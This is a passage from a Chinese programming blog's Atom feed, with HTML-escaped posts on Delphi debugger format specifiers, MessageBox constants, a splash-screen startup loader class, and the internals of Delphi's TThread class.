hexadecimal&nbsp;<BR></SPAN><SPAN>with&nbsp;the&nbsp;$&nbsp;prefix,&nbsp;including&nbsp;those&nbsp;in&nbsp;data&nbsp;structures.<BR>,Fn&nbsp;Floating&nbsp;point&nbsp;Floating&nbsp;point.&nbsp;Shows&nbsp;n&nbsp;significant&nbsp;digits&nbsp;where&nbsp;n&nbsp;can&nbsp;be&nbsp;<BR>from&nbsp;2&nbsp;to&nbsp;18.&nbsp;For&nbsp;example,&nbsp;to&nbsp;display&nbsp;the&nbsp;first&nbsp;four&nbsp;digits&nbsp;of&nbsp;a&nbsp;floating-point&nbsp;value,&nbsp;type&nbsp;,F4.&nbsp;If&nbsp;n&nbsp;is&nbsp;not&nbsp;specified,&nbsp;the&nbsp;default&nbsp;is&nbsp;11.<BR><BR>,P&nbsp;Pointers&nbsp;Pointer.&nbsp;Shows&nbsp;pointers&nbsp;as&nbsp;32-bit&nbsp;addresses&nbsp;with&nbsp;additional&nbsp;information&nbsp;about&nbsp;the&nbsp;address&nbsp;pointed&nbsp;to.<BR>&nbsp;It&nbsp;tells&nbsp;you&nbsp;the&nbsp;region&nbsp;of&nbsp;memory&nbsp;in&nbsp;which&nbsp;the&nbsp;pointer&nbsp;is&nbsp;located&nbsp;and,&nbsp;if&nbsp;applicable,<BR>&nbsp;the&nbsp;name&nbsp;of&nbsp;the&nbsp;variable&nbsp;at&nbsp;the&nbsp;offset&nbsp;address.<BR><BR>,R&nbsp;Records,&nbsp;classes,&nbsp;&nbsp;Records/Classes/Objects.&nbsp;Shows&nbsp;both&nbsp;field&nbsp;names&nbsp;and<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objects&nbsp;values&nbsp;such&nbsp;as&nbsp;(X:1;Y:10;Z:5)&nbsp;instead&nbsp;of&nbsp;(1,10,5).<BR><BR>,nM&nbsp;All&nbsp;&nbsp;&nbsp;&nbsp;Memory&nbsp;dump.&nbsp;Shows&nbsp;n&nbsp;bytes,&nbsp;starting&nbsp;at&nbsp;the&nbsp;address&nbsp;of&nbsp;the&nbsp;indicated&nbsp;expression.&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;example,&nbsp;to&nbsp;display&nbsp;the&nbsp;first&nbsp;four&nbsp;bytes&nbsp;starting&nbsp;at&nbsp;the&nbsp;memory&nbsp;address,&nbsp;type&nbsp;4M.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;n&nbsp;is&nbsp;not&nbsp;specified,&nbsp;it&nbsp;defaults&nbsp;to&nbsp;the&nbsp;size&nbsp;in&nbsp;bytes&nbsp;of&nbsp;the&nbsp;type&nbsp;of&nbsp;the&nbsp;variable.&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;default,&nbsp;each&nbsp;byte&nbsp;is&nbsp;displayed&nbsp;as&nbsp;two&nbsp;hex&nbsp;digits.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Use&nbsp;memory&nbsp;dump&nbsp;with&nbsp;the&nbsp;C,&nbsp;D,&nbsp;H,&nbsp;and&nbsp;S&nbsp;format&nbsp;specifiers&nbsp;to&nbsp;change&nbsp;the&nbsp;byte&nbsp;formatting.<BR></SPAN></P>
<P><SPAN>摘：<A href="http://www.daima.com.cn/Info/106/Info35319/">http://www.daima.com.cn/Info/106/Info35319/</A></P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=35" /> 
	  <id>http://www.openx.cn/default.asp?id=35</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MessageBox对话框]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T19:51:22+08:00</updated>
	  <published>2005-09-16T19:51:22+08:00</published>
		  <summary type="html"><![CDATA[<P>　MessageBox对话框是比较常用的一个信息对话框，其不仅能够定义显示的信息内容、信息提示图标，而且可以定义按钮组合及对话框的标题，是一个功能齐全的信息对话框信息提示图标，而且可以定义按钮组合及对话框的标题，是一个功能齐全的信息对框。<BR>　1、函数原型及参数<BR>　function MessageBox(hWnd: HWND; Text, Caption: PChar; Type: Word): Integer;<BR>　hWnd：对话框父窗口句柄，对话框显示在Delphi窗体内，可使用窗体的Handle属性，否则可用0，使其直接作为桌面窗口的子窗口。<BR>　Text：欲显示的信息字符串。<BR>　Caption：对话框标题字符串。<BR>　Type：对话框类型常量。<BR>　该函数的返回值为整数，用于对话框按钮的识别。<BR>　2、类型常量<BR>　对话框的类型常量可由按钮组合、缺省按钮、显示图标、运行模式四种常量组合而成。<BR>　（1）按钮组合常量<BR>　MB_OK = $00000000;　　　　　　　　　//一个确定按钮<BR>　MB_OKCANCEL = $00000001;　　　　　　//一个确定按钮，一个取消按钮<BR>　MB_ABORTRETRYIGNORE = $00000002;　　//一个异常终止按钮，一个重试按钮，一个忽略按钮<BR>　MB_YESNOCANCEL = $00000003;　　　　 //一个是按钮，一个否按钮，一个取消按钮<BR>　MB_YESNO = $00000004;　　　　　　　 //一个是按钮，一个否按钮<BR>　MB_RETRYCANCEL = $00000005;　　　　 //一个重试按钮，一个取消按钮<BR>　（2）缺省按钮常量<BR>　MB_DEFBUTTON1 = $00000000;　　　　　//第一个按钮为缺省按钮<BR>　MB_DEFBUTTON2 = $00000100;　　　　　//第二个按钮为缺省按钮<BR>　MB_DEFBUTTON3 = $00000200;　　　　　//第三个按钮为缺省按钮<BR>　MB_DEFBUTTON4 = $00000300;　　　　　//第四个按钮为缺省按钮<BR>　（3）图标常量<BR>　MB_ICONHAND = $00000010;　　　　　　　 //“×”号图标<BR>　MB_ICONQUESTION = $00000020;　　　　　 //“？”号图标<BR>　MB_ICONEXCLAMATION = $00000030;　　　　//“！”号图标<BR>　MB_ICONASTERISK = $00000040;　　　　　 //“i”图标<BR>　MB_USERICON = $00000080;　　　　　　　 //用户图标<BR>　MB_ICONWARNING = MB_ICONEXCLAMATION;　 //“！”号图标<BR>　MB_IConERROR = MB_ICONHAND;　　　　　　//“×”号图标<BR>　MB_ICONINFORMATION = MB_ICONASTERISK;　//“i”图标<BR>　MB_ICONSTOP = MB_ICONHAND;　　　　　　 //“×”号图标<BR>　（4）运行模式常量<BR>　MB_APPLMODAL = $00000000;　　　　//应用程序模式，在未结束对话框前也能切换到另一应用程序<BR>　MB_SYSTEMMODAL = $00001000;　　　//系统模式，必须结束对话框后，才能做其他操作<BR>　MB_TASKMODAL = $00002000;　　　　//任务模式，在未结束对话框前也能切换到另一应用程序<BR>　MB_HELP = $00004000;　　　　　　 //Help Button<BR>　3、函数返回值<BR>　0　　　　　　　　　　　 //对话框建立失败<BR>　idOk = 1　　　　　　　　//按确定按钮<BR>　idCancel = 2　　　　　　//按取消按钮<BR>　idAbout = 3　　　　　　 //按异常终止按钮<BR>　idRetry = 4　　　　　　 //按重试按钮<BR>　idIgnore = 5　　　　　　//按忽略按钮<BR>　idYes = 6　　　　　　　 //按是按钮<BR>　idNo = 7　　　　　　　　//按否按钮</P>
<P>摘：<A href="http://www.daima.com.cn/Info/106/Info35318/">http://www.daima.com.cn/Info/106/Info35318/</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=34" /> 
	  <id>http://www.openx.cn/default.asp?id=34</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[软件启动画面中启动状态的显示]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T19:10:18+08:00</updated>
	  <published>2005-09-16T19:10:18+08:00</published>
		  <summary type="html"><![CDATA[<P>我们平时看到的很多软件（PhotoShop，3DMax）都会在启动画面中显示当前正在启动哪个模块，并在模块加载失败时给予提示，这样的好处是，可以让比较专业的软件使用者知道当前软件加载了哪些模块，或者在软件发生启动错误时，让用户得以反馈是启动的哪个模块时发生了，以及在长时间的软件启动过程中，让用户知道软件还在工作，避免用户对其失去信息。。。<BR><BR>好了，说了那么多废话，就来看看我是怎么制作这样一个程序的，由于本人平时基本上都用Delphi来开发，所以以下代码也都是Delphi的，但是基本框架有了，相信要用其它语言实现也不会很难。另外，以下这些代码是我在过去的历次开发过程中组部提炼出来的，虽然还无法达到不修改即使用的地步，但是要修改的内容也不会很多。。<BR><BR>我的这个类叫做TAppLoader，首先要做的是，让它接管部分程序的初始化工作。<BR>将工程dpr文件中的启动代码写成这样：<BR><FONT color=#008000>var<BR>&nbsp; GAppLoader:TAppLoader;</FONT></P>
<P><FONT color=#008000>begin<BR>&nbsp; Application.Initialize;<BR>&nbsp; GAppLoader:=TAppLoader.Create();<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; if GAppLoader.DoLoad() then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application.Run;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; GAppLoader.Free;<BR>&nbsp; end;<BR>end.<BR></FONT>可以看到，所有的启动代码都在TAppLoader.DoLoad()函数中了，如果这个函数失败，则会返回false，此时就跳过Application.Run();过程，直接跳出程序。<BR>接下来，来看一下这个类的定义：<BR><FONT color=#008000>&nbsp; TAppLoader = class (TObject)<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; FSplashForm: TfrmSplash;<BR>&nbsp;&nbsp;&nbsp; FManagerList:TList;<BR>&nbsp; protected<BR>&nbsp;&nbsp;&nbsp; procedure InitializeManager(var AManager;AManagerClass:TCustomManagerClass);<BR>&nbsp;&nbsp;&nbsp; procedure OnAppLoading(ASender:TObject;AEvent:String;ADelay:Integer=5);<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; constructor Create();<BR>&nbsp;&nbsp;&nbsp; destructor Destroy(); override;<BR>&nbsp;&nbsp;&nbsp; function DoLoad: Boolean;<BR>&nbsp; end;<BR></FONT><BR>除了刚才说到的DoLoad()函数外，还可以看到这么两个函数：InitializeManager()和OnAppLoading()。<BR>在说明InitializeManager()函数前，需要先介绍这么一个类：<BR><FONT color=#008000>&nbsp; TCustomManagerClass = class of TCustomManager;</FONT></P>
<P><FONT color=#008000>&nbsp; TCustomManager = class(TObject)<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; FOnAppLoading:TAppLoadingEvent;<BR>&nbsp; protected<BR>&nbsp;&nbsp;&nbsp; procedure Initialize();virtual;abstract;<BR>&nbsp;&nbsp;&nbsp; procedure Finalize();virtual;abstract;<BR>&nbsp;&nbsp;&nbsp; procedure DoAppLoading(AEvent:String);<BR>&nbsp;&nbsp;&nbsp; property OnAppLoading:TAppLoadingEvent read FOnAppLoading write FOnAppLoading;<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; constructor Create();virtual;<BR>&nbsp; end;<BR></FONT>在我的程序中，将所有的全局的资源管理类都叫做TxxxManager，而TCustomManager就定义了这些类的一些基本行为。说道这里，可能还有必要解释一下什么是资源管理类，说白了，也就是将整个软件运行期需要经常访问的资源、使用的功能都集中起来管理，比如我将数据库连接叫做：TDataManager，将串口通讯功能类叫做：TCommManager，等等。。。<BR><BR>这个基类定义了Initialize()和Finalize()两个虚方法，是用来让TAppLoader启动或关闭服务用的，这两个方法不同与构造与析构函数，它们初始化的不是类本身的资源，而是一些外部连接资源，（比如网络连接，文件句柄，串口端口等等），它们可以允许在不销毁对象的前提下，进行重新连接，也就是说，除了在TAppLoader中会调用Initialize()和Finalize()方法，你也可以在软件的使用过程中调用这两个方法，（比如用户选择了新的串口端口号）。<BR><BR>接着，可以看到TCustomManager中有一个OnAppLoading事件，在Initialize()的过程中，实际的Manager类就可以调用该方法，在启动画面上显示文字了。该事件实际会调用TAppLoader.OnAppLoading()方法，它的代码如下：<BR><FONT color=#008000>procedure TAppLoader.OnAppLoading(ASender:TObject;AEvent:String;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ADelay:Integer);<BR>begin<BR>&nbsp; if Assigned(FSplashForm) then begin<BR>&nbsp;&nbsp;&nbsp; if Assigned(ASender) then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FSplashForm.lbl1.Caption:=ASender.ClassName+'': ''+AEvent;<BR>&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp; else begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FSplashForm.lbl1.Caption:=AEvent;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; FSplashForm.Update;<BR>&nbsp;&nbsp;&nbsp; if ADelay&gt;0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(ADelay);<BR>&nbsp; end;<BR>end;<BR></FONT>其中FSplashForm就是启动画面了，在TAppLoader.DoLoad()中调用各个Manager的Initialize()方法时，这些Manager会根据自身当前初始化的内容，回调这个OnAppLoading()函数，此时就可以在启动画面上显示文字了。<BR><BR>实际的Manager类中只要调用DoAppLoading()方法，就可以将文字显示到启动画面上了，如：<BR><FONT color=#008000>procedure TFileImageManager.Initialize();<BR>var<BR>&nbsp; Directory:String;<BR>&nbsp; FindHandle:THandle;<BR>&nbsp; FindFileData:TWin32FindData;<BR>begin<BR>&nbsp; Directory:=ExtractFilePath(ParamStr(0))+''decoders\'';<BR>&nbsp; FindHandle:=FindFirstFile(PChar(Directory+''*.dcd''),FindFileData);<BR>&nbsp; if FindHandle = INVALID_HANDLE_VALUE then<BR>&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp; repeat<BR>&nbsp;&nbsp;&nbsp; if (FindFileData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY)&lt;&gt;FILE_ATTRIBUTE_DIRECTORY then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoAppLoading(''Loading '' + FindFileData.cFileName);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddDecoder(Directory+FindFileData.cFileName);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; until not FindNextFile(FindHandle,FindFileData);<BR>&nbsp; Windows.FindClose(FindHandle);<BR>end;<BR></FONT><BR>TAppLoader中还有这么一个函数：<BR><FONT color=#008000>procedure TAppLoader.InitializeManager(var AManager;AManagerClass:TCustomManagerClass);<BR>var<BR>&nbsp; Instance: TCustomManager;<BR>begin<BR>&nbsp; Instance := TCustomManager(AManagerClass.NewInstance);<BR>&nbsp; TCustomManager(AManager) := Instance;<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; Instance.Create();<BR>&nbsp;&nbsp;&nbsp; FManagerList.Add(@AManager);<BR>&nbsp;&nbsp;&nbsp; Instance.OnAppLoading:=OnAppLoading;<BR>&nbsp;&nbsp;&nbsp; Instance.Initialize();<BR>&nbsp;&nbsp;&nbsp; Instance.OnAppLoading:=nil;<BR>&nbsp; except<BR>&nbsp;&nbsp;&nbsp; TCustomManager(AManager):= nil;<BR>&nbsp;&nbsp;&nbsp; raise;<BR>&nbsp; end;<BR>end;<BR></FONT>它用来启动一个Manager，并将其加入TAppLoader的一个FManagerList列表中，在TAppLoader析构时，它会自动按照这个列表，来释放所有的Manager。<BR>在Manager的Initialize()结束后，比较保险的是将它的OnAppLoading重新设为空，这样如果在程序运行过程中，由其它功能来调用Manager的Initialize()时，就不会再回调到显示启动文字的部分了。<BR><BR>最后，看一下DoLoad()函数：<BR><FONT color=#008000>function TAppLoader.DoLoad: Boolean;<BR>begin<BR>&nbsp; Result:=false;<BR>&nbsp; Application.Title:=''Ultra Album'';<BR>&nbsp; FSplashForm:=TfrmSplash.Create(nil);<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FSplashForm.Show;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OnAppLoading(nil,''Starting...'');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(100);</FONT></P>
<P><FONT color=#008000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InitializeManager(GOptionManager,TOptionManager);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InitializeManager(GRdItemClassManager,TRdItemClassManager);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InitializeManager(GImageManager,TFileImageManager);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InitializeManager(GThemeManager,TFileThemeManager2);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InitializeManager(GMaskManager,TFileMaskManager);</FONT></P>
<P><FONT color=#008000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OnAppLoading(nil,''Ending...'',0);</FONT></P>
<P><FONT color=#008000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Application.CreateForm(TfrmMain, frmMain);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ParamCount&gt;=1 then begin&nbsp;&nbsp; //deal with the filename in the parameter<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FSplashForm.Hide;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; frmMain.Show;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; frmMain.DoOpenFile(ParamStr(1));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</FONT></P>
<P><FONT color=#008000>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result:=true;<BR>&nbsp;&nbsp;&nbsp; except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; on E:Exception do begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBox(Application.Handle,PChar(E.ClassName+'':''+#13+#10+E.Message),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PChar(Application.Title),MB_IConERROR);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; FreeAndNil(FSplashForm);<BR>&nbsp; end;<BR>end;<BR></FONT>这个函数是我的一个软件中的代码，它首先构造并显示一个启动画面，然后使用InitializeManager()分别初始化了5个Manager类，其中的GOptionManager，GRdItemClassManager。。。都是全局对象，在今后需要访问时，都使用这个全局对象来进行访问，这里我没有使用Singleton模式，因为我觉得这几个对象都必须在程序主窗体创建前完全初始化，而Singleton的设计思路是在对象第一次使用时才创建它的实例，在我的这个使用中不需要这样的功能。当然，你也可以自己改造这些Manager类成为Singleton的，改动代码不会很多。<BR>最后，再将程序的主界面创建出来，可以看到这个主界面的创建代码就是我们从dpr文件中删除的那行。</P>
<P>摘：<A href="http://www.daima.com.cn/Info/106/Info35369/">http://www.daima.com.cn/Info/106/Info35369/</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=33" /> 
	  <id>http://www.openx.cn/default.asp?id=33</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi中的线程类]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T19:08:56+08:00</updated>
	  <published>2005-09-16T19:08:56+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellSpacing=0 cellPadding=0 align=left border=0>
<TBODY>
<TR>
<TD>
<SCRIPT language=javascript src="/ad/js/edu_left_300-300.js"></SCRIPT>
</TD></TR></TBODY></TABLE>
<P>Delphi中有一个线程类TThread是用来实现多线程编程的，这个绝大多数Delphi书藉都有说到，但基本上都是对TThread类的几个成员作一简单介绍，再说明一下Execute的实现和Synchronize的用法就完了。然而这并不是多线程编程的全部，我写此文的目的在于对此作一个补充。<BR>线程本质上是进程中一段并发运行的代码。一个进程至少有一个线程，即所谓的主线程。同时还可以有多个子线程。当一个进程中用到超过一个线程时，就是所谓的“多线程”。<BR>那么这个所谓的“一段代码”是如何定义的呢？其实就是一个函数或过程（对Delphi而言）。<BR>如果用Windows API来创建线程的话，是通过一个叫做CreateThread的API函数来实现的，它的定义为：<BR><BR>HANDLE CreateThread(<BR>LPSECURITY_ATTRIBUTES lpThreadAttributes, <BR>DWORD dwStackSize, <BR>LPTHREAD_START_ROUTINE lpStartAddress, <BR>LPVOID lpParameter, <BR>DWORD dwCreationFlags, <BR>LPDWORD lpThreadId <BR>);<BR><BR>其各参数如它们的名称所说，分别是：线程属性（用于在NT下进行线程的安全属性设置，在9X下无效），堆栈大小，起始地址，参数，创建标志（用于设置线程创建时的状态），线程ID，最后返回线程Handle。其中的起始地址就是线程函数的入口，直至线程函数结束，线程也就结束了。<BR>整个线程的执行过程如下图所示：<BR><BR>因为CreateThread参数很多，而且是Windows的API，所以在C Runtime Library里提供了一个通用的线程函数（理论上可以在任何支持线程的OS中使用）：<BR>unsigned long _beginthread(void (_USERENTRY *__start)(void *), unsigned __stksize, void *__arg);<BR><BR>Delphi也提供了一个相同功能的类似函数：<BR>function BeginThread(SecurityAttributes: Pointer; StackSize: LongWord; ThreadFunc: TThreadFunc; Parameter: Pointer; CreationFlags: LongWord; var ThreadId: LongWord): Integer;<BR><BR>这三个函数的功能是基本相同的，它们都是将线程函数中的代码放到一个独立的线程中执行。线程函数与一般函数的最大不同在于，线程函数一启动，这三个线程启动函数就返回了，主线程继续向下执行，而线程函数在一个独立的线程中执行，它要执行多久，什么时候返回，主线程是不管也不知道的。<BR>正常情况下，线程函数返回后，线程就终止了。但也有其它方式：<BR><BR>Windows API：<BR>VOID ExitThread( DWORD dwExitCode );<BR>C Runtime Library：<BR>void _endthread(void);<BR>Delphi Runtime Library：<BR>procedure EndThread(ExitCode: Integer);<BR><BR>为了记录一些必要的线程数据（状态/属性等），OS会为线程创建一个内部Object，如在Windows中那个Handle便是这个内部Object的Handle，所以在线程结束的时候还应该释放这个Object。<BR><BR>虽然说用API或RTL(Runtime Library)已经可以很方便地进行多线程编程了，但是还是需要进行较多的细节处理，为此Delphi在Classes单元中对线程作了一个较好的封装，这就是VCL的线程类：TThread<BR>使用这个类也很简单，大多数的Delphi书籍都有说，基本用法是：先从TThread派生一个自己的线程类（因为TThread是一个抽象类，不能生成实例），然后是Override抽象方法：Execute（这就是线程函数，也就是在线程中执行的代码部分），如果需要用到可视VCL对象，还需要通过Synchronize过程进行。关于之方面的具体细节，这里不再赘述，请参考相关书籍。<BR>本文接下来要讨论的是TThread类是如何对线程进行封装的，也就是深入研究一下TThread类的实现。因为只是真正地了解了它，才更好地使用它。<BR>下面是DELPHI7中TThread类的声明（本文只讨论在Windows平台下的实现，所以去掉了所有有关Linux平台部分的代码）：<BR><BR>TThread = class<BR><BR>private<BR>FHandle: THandle;<BR>FThreadID: THandle;<BR>FCreateSuspended: Boolean;<BR>FTerminated: Boolean;<BR>FSuspended: Boolean;<BR>FFreeOnTerminate: Boolean;<BR>FFinished: Boolean;<BR>FReturnValue: Integer;<BR>FOnTerminate: TNotifyEvent;<BR>FSynchronize: TSynchronizeRecord;<BR>FFatalException: TObject;<BR>procedure CallOnTerminate;<BR>class procedure Synchronize(ASyncRec: PSynchronizeRecord); overload;<BR>function GetPriority: TThreadPriority;<BR>procedure SetPriority(Value: TThreadPriority);<BR>procedure SetSuspended(Value: Boolean);<BR><BR>protected<BR>procedure CheckThreadError(ErrCode: Integer); overload;<BR>procedure CheckThreadError(Success: Boolean); overload;<BR>procedure DoTerminate; virtual;<BR>procedure Execute; virtual; abstract;<BR>procedure Synchronize(Method: TThreadMethod); overload;<BR>property ReturnValue: Integer read FReturnValue write FReturnValue;<BR>property Terminated: Boolean read FTerminated;<BR><BR>public<BR>constructor Create(CreateSuspended: Boolean);<BR>destructor Destroy; override;<BR>procedure AfterConstruction; override;<BR>procedure Resume;<BR>procedure Suspend;<BR>procedure Terminate;<BR>function WaitFor: LongWord;<BR>class procedure Synchronize(AThread: TThread; AMethod: TThreadMethod); overload;<BR>class procedure StaticSynchronize(AThread: TThread; AMethod: TThreadMethod);<BR>property FatalException: TObject read FFatalException;<BR>property FreeOnTerminate: Boolean read FFreeOnTerminate write FFreeOnTerminate;<BR>property Handle: THandle read FHandle;<BR>property Priority: TThreadPriority read GetPriority write SetPriority;<BR>property Suspended: Boolean read FSuspended write SetSuspended;<BR>property ThreadID: THandle read FThreadID;<BR>property OnTerminate: TNotifyEvent read FOnTerminate write FOnTerminate;<BR>end;<BR><BR>TThread类在Delphi的RTL里算是比较简单的类，类成员也不多，类属性都很简单明白，本文将只对几个比较重要的类成员方法和唯一的事件：OnTerminate作详细分析。<BR>首先就是构造函数：<BR><BR>constructor TThread.Create(CreateSuspended: Boolean);<BR>begin<BR>inherited Create;<BR>AddThread;<BR>FSuspended := CreateSuspended;<BR>FCreateSuspended := CreateSuspended;<BR>FHandle := BeginThread(nil, 0, @ThreadProc, Pointer(Self), CREATE_SUSPENDED, FThreadID);<BR>if FHandle = 0 then<BR>raise EThread.CreateResFmt(@SThreadCreateError, [SysErrorMessage(GetLastError)]);<BR><BR>end;<BR><BR>虽然这个构造函数没有多少代码，但却可以算是最重要的一个成员，因为线程就是在这里被创建的。<BR>在通过Inherited调用TObject.Create后，第一句就是调用一个过程：AddThread，其源码如下：<BR><BR>procedure AddThread;<BR>begin<BR>InterlockedIncrement(ThreadCount);<BR>end;<BR><BR>同样有一个对应的RemoveThread：<BR>procedure RemoveThread;<BR>begin<BR>InterlockedDecrement(ThreadCount);<BR>end;<BR><BR>它们的功能很简单，就是通过增减一个全局变量来统计进程中的线程数。只是这里用于增减变量的并不是常用的Inc/Dec过程，而是用了InterlockedIncrement/InterlockedDecrement这一对过程，它们实现的功能完全一样，都是对变量加一或减一。但它们有一个最大的区别，那就是InterlockedIncrement/InterlockedDecrement是线程安全的。即它们在多线程下能保证执行结果正确，而Inc/Dec不能。或者按操作系统理论中的术语来说，这是一对“原语”操作。<BR>以加一为例来说明二者实现细节上的不同：<BR>一般来说，对内存数据加一的操作分解以后有三个步骤：<BR>1、从内存中读出数据<BR>2、数据加一<BR>3、存入内存<BR>现在假设在一个两个线程的应用中用Inc进行加一操作可能出现的一种情况：<BR>1、线程A从内存中读出数据（假设为3） <BR>2、线程B从内存中读出数据（也是3）<BR>3、线程A对数据加一（现在是4）<BR>4、线程B对数据加一（现在也是4）<BR>5、线程A将数据存入内存（现在内存中的数据是4）<BR>6、线程B也将数据存入内存（现在内存中的数据还是4，但两个线程都对它加了一，应该是5才对，所以这里出现了错误的结果）<BR>而用InterlockIncrement过程则没有这个问题，因为所谓“原语”是一种不可中断的操作，即操作系统能保证在一个“原语”执行完毕前不会进行线程切换。所以在上面那个例子中，只有当线程A执行完将数据存入内存后，线程B才可以开始从中取数并进行加一操作，这样就保证了即使是在多线程情况下，结果也一定会是正确的。<BR>前面那个例子也说明一种“线程访问冲突”的情况，这也就是为什么线程之间需要“同步”（Synchronize），关于这个，在后面说到同步时还会再详细讨论。<BR>说到同步，有一个题外话：加拿大滑铁卢大学的教授李明曾就Synchronize一词在“线程同步”中被译作“同步”提出过异议，个人认为他说的其实很有道理。在中文中“同步”的意思是“同时发生”，而“线程同步”目的就是避免这种“同时发生”的事情。而在英文中，Synchronize的意思有两个：一个是传统意义上的同步（To occur at the same time），另一个是“协调一致”（To operate in unison）。在“线程同步”中的Synchronize一词应该是指后面一种意思，即“保证多个线程在访问同一数据时，保持协调一致，避免出错”。不过像这样译得不准的词在IT业还有很多，既然已经是约定俗成了，本文也将继续沿用，只是在这里说明一下，因为软件开发是一项细致的工作，该弄清楚的，绝不能含糊。<BR>扯远了，回到TThread的构造函数上，接下来最重要就是这句了：<BR><BR>FHandle := BeginThread(nil, 0, @ThreadProc, Pointer(Self), CREATE_SUSPENDED, FThreadID);<BR><BR>这里就用到了前面说到的Delphi RTL函数BeginThread，它有很多参数，关键的是第三、四两个参数。第三个参数就是前面说到的线程函数，即在线程中执行的代码部分。第四个参数则是传递给线程函数的参数，在这里就是创建的线程对象（即Self）。其它的参数中，第五个是用于设置线程在创建后即挂起，不立即执行（启动线程的工作是在AfterConstruction中根据CreateSuspended标志来决定的），第六个是返回线程ID。<BR>现在来看TThread的核心：线程函数ThreadProc。有意思的是这个线程类的核心却不是线程的成员，而是一个全局函数（因为BeginThread过程的参数约定只能用全局函数）。下面是它的代码：<BR><BR>function ThreadProc(Thread: TThread): Integer;<BR>var<BR>FreeThread: Boolean;<BR>begin<BR>try<BR>if not Thread.Terminated then<BR>try<BR>Thread.Execute;<BR>except<BR>Thread.FFatalException := AcquireExceptionObject;<BR>end;<BR>finally<BR>FreeThread := Thread.FFreeOnTerminate;<BR>Result := Thread.FReturnValue;<BR>Thread.DoTerminate;<BR>Thread.FFinished := True;<BR>SignalSyncEvent;<BR>if FreeThread then 